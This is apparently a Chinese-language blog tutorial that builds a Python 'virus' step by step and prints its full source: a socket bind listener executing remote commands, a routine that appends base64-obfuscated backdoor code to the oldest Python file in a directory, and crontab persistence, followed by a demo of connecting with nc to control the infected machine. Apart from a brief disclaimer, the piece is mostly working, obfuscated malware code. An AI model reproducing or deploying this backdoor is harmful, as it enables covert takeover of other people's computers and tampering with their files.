來看看 Python 病毒長啥樣
大家好,抱歉偷懶了幾天,最近的作息也逐漸規(guī)律起來,更新也會(huì)盡量在早上 7 點(diǎn)前發(fā)出。接下來的日子里,讓我們繼續(xù)玩轉(zhuǎn) Python。
今天的文章來展示一個(gè) Python“病毒”,它感染其他 Python 文件來創(chuàng)建一個(gè)后門。后門利用 Python 的內(nèi)置 socket 模塊來創(chuàng)建一個(gè)監(jiān)聽器,用來連接到 Python 的內(nèi)置子進(jìn)程模塊,從而靶機(jī)上執(zhí)行命令,同時(shí)還通過創(chuàng)建一個(gè) cronjob 來建立持久性,以在每天固定的時(shí)間運(yùn)行后門。最終完整的 Python 腳本包含在本文末尾。注意:請(qǐng)不要將本文中提供的 Python 腳本用于惡意目的。雖然它不先進(jìn),但經(jīng)過一些修改,它可以讓完全控制某人的計(jì)算機(jī)。本文的主要目的是通過這些腳本,更好地了解黑客如何獲取正常程序并使它們成為惡意程序。
話不多說,讓我們開始吧。
1、建立通信
任何后門最重要的部分都是建立通信?,F(xiàn)在,讓我們?yōu)楹箝T訪問編寫一段代碼。通過 TCP 連接到靶機(jī),我們使用套接字模塊監(jiān)聽黑客的連接請(qǐng)求。在 socket 模塊中,有一個(gè)函數(shù)也稱為 socket,我們可以使用它來創(chuàng)建 TCP 或 UDP 套接字。使用 socket.socket 函數(shù)創(chuàng)建套接字時(shí),我們需要提供兩個(gè)參數(shù)來指定我們要使用的 IP 版本和第 4 層協(xié)議。在這個(gè) Python 腳本中,我們將傳入以下參數(shù):socket.AF_INET 和 socket.SOCK_STREAM。
- AF_INET : 指定 IPv4
- SOCK_STREAM :指定 TCP 而不是 UDP。
- socket.socket 函數(shù)返回一個(gè)對(duì)象,該對(duì)象由最終確定正在創(chuàng)建的套接字是偵聽套接字(服務(wù)器)還是連接套接字(客戶端)的方法組成。要?jiǎng)?chuàng)建偵聽套接字,需要使用以下方法:
- bind > 將 IP 地址和端口綁定到網(wǎng)絡(luò)接口
- listen > 指示我們的套接字開始監(jiān)聽傳入的連接
- accept > 接受傳入連接
- recv > 從連接的客戶端接收數(shù)據(jù)
- send > 向連接的客戶端發(fā)送數(shù)據(jù)
然而,最重要的方法是 recv 和 send。recv 方法會(huì)接收來自攻擊者的命令,使用 subproces.run 函數(shù)在受害者的系統(tǒng)上執(zhí)行它們,然后將執(zhí)行命令的標(biāo)準(zhǔn)輸出重定向到與攻擊者建立的 TCP 連接。下面是 Python 代碼:
- from socket import socket, AF_INET, SOCK_STREAM
- from subprocess import run, PIPE
- from os import _exit
- def serve():
- with socket(AF_INET, SOCK_STREAM) as soc:
- # [*] The obfuscated values are just the IP address and port to bind to
- soc.bind((ip, 端口))
- soc.listen(5)
- while True:
- conn, _ = soc.accept()
- while True:
- cmd = conn.recv(1024).decode("utf-8").strip()
- cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)
- if cmd_output.returncode == 0:
- conn.send(bytes(cmd_output.stdout))
- else:
- continue
- serve()
2、感染目標(biāo) Python 文件
這段程序通過遍歷指定目錄(最好是用戶的主目錄)并查找修改時(shí)間最早的 Python 腳本。這里是測(cè)試,因此不是感染所有 Python 文件,而僅感染修改時(shí)間最早的文件。感染一個(gè) Python 文件對(duì)于控制靶機(jī)來說已經(jīng)夠了。
- def MTRkYmNubWx(self):
- YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
- for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
- for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
- if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
- continue
- eHhtbG1vZGF0 = stat(f).st_mtime
- ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
- if not self.Z2hhenh4ZGwK:
- self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
- elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
- self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
- self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
上述代碼的部分變量使用了混淆,讓人不易看懂,其實(shí)很簡(jiǎn)單,就是使用 os 模塊中定義的 walk 和 stat 函數(shù)來遍歷目錄文件并獲取它們的修改時(shí)間。獲得的每個(gè)文件的修改時(shí)間被轉(zhuǎn)換為 datetime.datetime 對(duì)象,以便我們可以使用 > < 和 == 等運(yùn)算符輕松比較日期。在這個(gè)函數(shù)的最后,選定的目標(biāo) Python 文件名被傳遞到將后門服務(wù)器代碼注入其中的函數(shù)。
3、通過 crontab 任務(wù)來持久化
這個(gè) Python 后門的最后一個(gè)函數(shù)使用 subprocess.run 函數(shù)來調(diào)用一個(gè) Linux shell 命令,該命令將在當(dāng)前用戶的 crontab 文件中創(chuàng)建一個(gè)條目。此條目指定計(jì)劃的 cronjob 應(yīng)在每天 14:00 定時(shí)運(yùn)行。添加 crontab 對(duì)應(yīng)的 shell 命令如下:
- echo '00 14 * * * file_name | crontab -
然后我們讓 Python 把上一步感染的文件添加到 crontab 中:
- def YWZhdGhjCg(self):
- if self.bGpqZ2hjen == "Linux":
- run(f"echo '00 14 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)
4、最終的完整代碼
- #!/usr/bin/env python3
- from os.path import expanduser
- from os import walk, stat
- from sys import path
- from glob import glob
- from platform import system
- from base64 import b64encode, b64decode
- from subprocess import run, PIPE
- from datetime import datetime
- class eHhjemR5eXB:
- def __init__(self, cHlkYWNhZWFpa):
- self.cHlkYWNhZWFpa = cHlkYWNhZWFpa
- self.bGpqZ2hjen = system()
- self.aWFmYXRye = "0.0.0.0"
- self.ZmFsa2p0aGM = 0x401
- self.Z2hhenh4ZGwK = None
- def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC):
- YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM"
- YWxmanRob += b"\nfrom subprocess import run, PIPE"
- YWxmanRob += b"\ndef serve():"
- YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:"
- YWxmanRob += bytes(
- f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))', "utf-8"
- )
- YWxmanRob += b"\n\t\tsoc.listen(5)"
- YWxmanRob += b"\n\t\twhile True:"
- YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()"
- YWxmanRob += b"\n\t\t\twhile True:"
- YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()'
- YWxmanRob += (
- b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)"
- )
- YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:"
- YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"
- YWxmanRob += b"\n\t\t\t\telse: continue"
- YWxmanRob += b"\nserve()"
- YWxmanRob_base64 = b64encode(YWxmanRob)
- cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n"
- cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;'
- cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format(
- YWxmanRob_base64.decode()
- )
- with open(dGR6eGFteXBxC, "a") as f:
- f.write(cXBxZXJjYQ)
- self.ZmFsa2p0aGM += 1
- def MTRkYmNubWx(self):
- YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
- for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
- for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
- if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
- continue
- eHhtbG1vZGF0 = stat(f).st_mtime
- ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
- if not self.Z2hhenh4ZGwK:
- self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
- elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
- self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
- self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
- def YWZhdGhjCg(self):
- if self.bGpqZ2hjen == "Linux":
- run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)
- if __name__ == "__main__":
- # For traversing the user's home directory
- # aGdsZGFx = expanduser('~')
- # YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx)
- YmNjLGFka2x = eHhjemR5eXB("./test")
- YmNjLGFka2x.MTRkYmNubWx()
- YmNjLGFka2x.YWZhdGhjCg()
在靶機(jī)執(zhí)行該代碼后,會(huì)感染 ./test 目錄中最早修改的文件(目標(biāo)文件),會(huì)自動(dòng)在目標(biāo)文件的最后添加這兩行代碼:
- from subprocess import run
- run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG
是不是非常隱蔽?
5、訪問后門
為了測(cè)試,我們手動(dòng)執(zhí)行下感染的文件,而不是等待 crontab。
- ~ # crontab -l
- 37 13 * * * /root/transferfile/transfile_interface.py
- ~ # cd transferfile/
- ~/transferfile # python transfile_interface.py
- ~/transferfile #
程序正常結(jié)束,沒有任何異常。然后使用 nc localhost 1025 來反彈一個(gè) shell,在這里執(zhí)行 ls, whoami 就是靶機(jī)的信息了:
這里演示的 localhost 即為靶機(jī),真實(shí)場(chǎng)景下就是靶機(jī)的 ip 地址。現(xiàn)在靶機(jī)已經(jīng)完全被控制了,而受害者完全不知情。
最后的話
現(xiàn)在,你已經(jīng)學(xué)習(xí)了如何使用 Python 編程語言創(chuàng)建持久性后門,學(xué)習(xí)了如何使用 Python 的 socket 模塊、如何遍歷目錄以及如何創(chuàng)建 crontab 任務(wù)。如果要感染真實(shí)靶機(jī),還要學(xué)會(huì)如何分發(fā)這個(gè)后門程序,這里不做探討。